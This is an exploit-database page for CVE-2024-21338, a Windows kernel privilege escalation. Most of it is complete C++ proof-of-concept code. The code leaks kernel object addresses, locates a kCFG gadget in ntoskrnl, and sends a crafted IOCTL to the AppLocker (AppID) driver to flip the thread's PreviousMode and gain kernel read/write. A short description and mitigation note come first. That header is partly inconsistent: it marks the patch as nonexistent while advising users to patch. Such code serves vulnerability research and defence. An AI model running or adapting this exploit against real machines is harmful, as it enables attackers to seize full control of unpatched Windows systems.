Microsoft Windows 11 - Kernel Privilege Escalation

vendor:
Windows 11
by:
Milad Karimi
6.1
CVSS
HIGH
Kernel Privilege Escalation
269
CWE
Product Name: Windows 11
Affected Version From: Windows 11
Affected Version To: Windows 11
Patch Exists: NO
Related CWE: CVE-2024-21338
CPE: o:microsoft:windows:11
Metasploit:
Other Scripts:
Platforms Tested: Windows, Ubuntu
2025
Microsoft Windows 11 – Kernel Privilege Escalation

The exploit allows an attacker to escalate privileges on Microsoft Windows 11 systems by leveraging a vulnerability in the kernel. By manipulating IOCTL buffers and exploiting the SystemHandleInformation method, an attacker can gain elevated privileges on the target system. This vulnerability has been assigned CVE-2024-21338.
Mitigation:

To mitigate this vulnerability, users are advised to apply the latest security patches provided by Microsoft. Additionally, restrict access to privileged accounts and regularly monitor system activity for any suspicious behavior.
Source
Exploit-DB raw data:

# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2024-21338



#include "pch.hpp"
#include "poc.hpp"

// This function is used to set the IOCTL buffer depending on the Windows
version
void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW*
os_info)
{
 os_info->dwOSVersionInfoSize = sizeof(*os_info);
 // Get the OS version
 NTSTATUS status = RtlGetVersion(os_info);
 if (!NT_SUCCESS(status)) {
  log_err("Failed to get OS version!");
  return nullptr;
 }

 log_debug("Windows version detected: %lu.%lu, build: %lu.",
os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);

 // "PreviousMode" offset in ETHREAD structure
 *k_thread_offset = 0x232;
 // Set the "AipSmartHashImageFile" function buffer depending on the
Windows version
 void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000
  ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))
  : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));

 return ioctl_buffer_alloc;
}

// This function is used to get the ETHREAD address through the
SystemHandleInformation method that is used to get the address of the
current thread object based on the pseudo handle -2
UINT_PTR c_poc::get_ethread_address()
{
 // Duplicate the pseudo handle -2 to get the current thread object
 HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2);
 HANDLE h_duplicated_handle = {};

 if (!DuplicateHandle(
  reinterpret_cast<HANDLE>(-1),
  h_current_thread_pseudo,
  reinterpret_cast<HANDLE>(-1),
  &h_duplicated_handle,
  NULL,
  FALSE,
  DUPLICATE_SAME_ACCESS))
 {
  log_err("Failed to duplicate handle, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_HANDLE_INFORMATION h_table_info = {};
 // Get the current thread object address
 while ((status = NtQuerySystemInformation(SystemHandleInformation,
h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)
 {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));
 }

 UINT_PTR ptr_token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_duplicated_handle)) {
    ptr_token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }
 else {
  if (h_table_info) {
   log_err("NtQuerySystemInformation failed, (code: 0x%X)", status);
   NtClose(h_duplicated_handle);
  }
 }

 return ptr_token_address;
}

// This function is used to get the FileObject address through the
SystemHandleInformation method that is used to get the address of the file
object.
UINT_PTR c_poc::get_file_object_address()
{
 // Create a dummy file to get the file object address
 HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt",
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
 if (h_file == INVALID_HANDLE_VALUE) {
  log_err("Failed to open dummy file, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 // Get the file object address
 NTSTATUS status = {};
 ULONG ul_bytes = 0;
 PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;
 while ((status = NtQuerySystemInformation(
  SystemHandleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);

 }

 UINT_PTR token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_file)) {
    token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }

 return token_address;
}

// This function is used to get the kernel module address based on the
module name
UINT_PTR c_poc::get_kernel_module_address(const char* target_module)
{
 // Get the kernel module address based on the module name
 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_MODULE_INFORMATION h_table_info = {};
 while ((status = NtQuerySystemInformation(
  SystemModuleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
 }

 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {
   if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {
    return reinterpret_cast<UINT_PTR>(
     h_table_info->Modules[i].ImageBaseAddress);
   }
  }
 }

 return 0;
}

// This function is used to scan the section for the pattern.
BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID
lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size,
LPVOID* lp_found_address) {
 std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]);
 SIZE_T bytes_read = {};
 if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size,
  &bytes_read)) {
  return false;
 }

 for (SIZE_T i = 0; i < dw_size - pattern_size; i++) {
  if (memcmp(pattern, &buffer[i], pattern_size) == 0) {
   *lp_found_address = reinterpret_cast<LPVOID>(
    reinterpret_cast<DWORD_PTR>(lp_base_address) + i);
   return true;
  }
 }

 return false;
}

// This function is used to find the pattern in the module, in this case
the pattern is the nt!ExpProfileDelete function
UINT_PTR c_poc::find_pattern(HMODULE h_module)
{
 UINT_PTR relative_offset = {};

 auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module);
 auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
  reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew);
 auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers);

 LPVOID lp_found_address = nullptr;

 for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) {
  if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") ==
   0) {
   LPVOID lp_section_base_address =
    reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) +
     p_section_header[i].VirtualAddress);
   SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize;

   // Pattern to nt!ExpProfileDelete
   BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83,
    0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 };
   SIZE_T pattern_size = sizeof(pattern);

   if (this->scan_section_for_pattern(
    GetCurrentProcess(), lp_section_base_address, dw_section_size,
    pattern, pattern_size, &lp_found_address)) {
    relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) -
     reinterpret_cast<UINT_PTR>(h_module);
   }

   break;
  }
 }

 return relative_offset;
}

// This function is used to send the IOCTL request to the driver, in this
case the AppLocker driver through the AipSmartHashImageFile IOCTL
bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t
input_buffer_length)
{
 IO_STATUS_BLOCK io_status = {};
 NTSTATUS status =
  NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status,
   this->IOCTL_AipSmartHashImageFile, input_buffer,
   input_buffer_length, nullptr, 0);
 return NT_SUCCESS(status);
}

// This function executes the exploit
bool c_poc::act() {
 // Get the OS version, set the IOCTL buffer and open a handle to the
AppLocker driver
 OSVERSIONINFOEXW os_info = {};
 size_t offset_of_previous_mode = {};
 auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode,
&os_info);

 if (!ioctl_buffer) {
  log_err("Failed to allocate the correct buffer to send on the IOCTL
request.");
  return false;
 }

 // Open a handle to the AppLocker driver
 OBJECT_ATTRIBUTES object_attributes = {};
 UNICODE_STRING appid_device_name = {};
 RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID");
 InitializeObjectAttributes(&object_attributes, &appid_device_name,
OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);

 IO_STATUS_BLOCK io_status = {};
 HANDLE h_device = {};
 NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE,
  &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);

 if (!NT_SUCCESS(status))
 {
  log_debug("Failed to open a handle to the AppLocker driver (%ls) (code:
0x%X)", appid_device_name.Buffer, status);
  return false;
 }

 log_debug("AppLocker (AppId) handle opened: 0x%p", h_device);

 log_debug("Leaking the current ETHREAD address.");

 // Get the ETHREAD address, FileObject address, KernelBase address and the
relative offset of the nt!ExpProfileDelete function
 auto e_thread_address = this->get_ethread_address();
 auto file_obj_address = this->get_file_object_address();

 auto ntoskrnl_kernel_base_address =
this->get_kernel_module_address("ntoskrnl.exe");
 auto ntoskrnl_user_base_address =
LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL);

 if (!e_thread_address && !ntoskrnl_kernel_base_address &&
!ntoskrnl_user_base_address && !file_obj_address)
 {
  log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses.");
  return false;
 }

 log_debug("ETHREAD address leaked: 0x%p", e_thread_address);
 log_debug("Feching the ExpProfileDelete (user cfg gadget) address.");
 auto relative_offset = this->find_pattern(ntoskrnl_user_base_address);
 UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address +
relative_offset);

 ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode);
 log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode);
 log_debug("File object address -> 0x%p", file_obj_address);

 log_debug("kCFG Kernel Base address -> 0x%p",
ntoskrnl_kernel_base_address);
 log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address);
 log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address);

 // Set the IOCTL buffer depending on the Windows version
 size_t ioctl_buffer_length = {};
 CFG_FUNCTION_WRAPPER kcfg_function = {};
 if (os_info.dwBuildNumber < 22000) {
  AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;

  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
  // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
  UINT_PTR previous_mode_obf = previous_mode + 0x30;

  w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
  w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
  w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10

  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);
 }
 else
 {
  AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer;

  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
  // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
  UINT_PTR previous_mode_obf = previous_mode + 0x30;

  w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
  w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
  w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10
  w11_ioctl_buffer->Unknown = NULL; // +0x18

  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11);
 }

 // Send the IOCTL request to the driver
 log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)");
 char* buffer = (char*)malloc(sizeof(CHAR));
 if (ioctl_buffer)
 {
  log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer,
ioctl_buffer_length);

  if (!this->send_ioctl_request(h_device, ioctl_buffer,
ioctl_buffer_length))
   return false;

  NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer,
(PVOID)previous_mode, sizeof(CHAR), nullptr);
  log_debug("Current PreviousMode -> %d", *buffer);

  // From now on all Read/Write operations will be done in Kernel Mode.
 }

 log_debug("Restoring...");
 // Restores PreviousMode to 1 (user-mode).
 *buffer = 1;
 NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode,
(PVOID)buffer, sizeof(CHAR), nullptr);
 log_debug("Current PreviousMode -> %d", *buffer);

 // Free the allocated memory and close the handle to the AppLocker driver
 free(ioctl_buffer);
 free(buffer);
 NtClose(h_device);


 return true;
}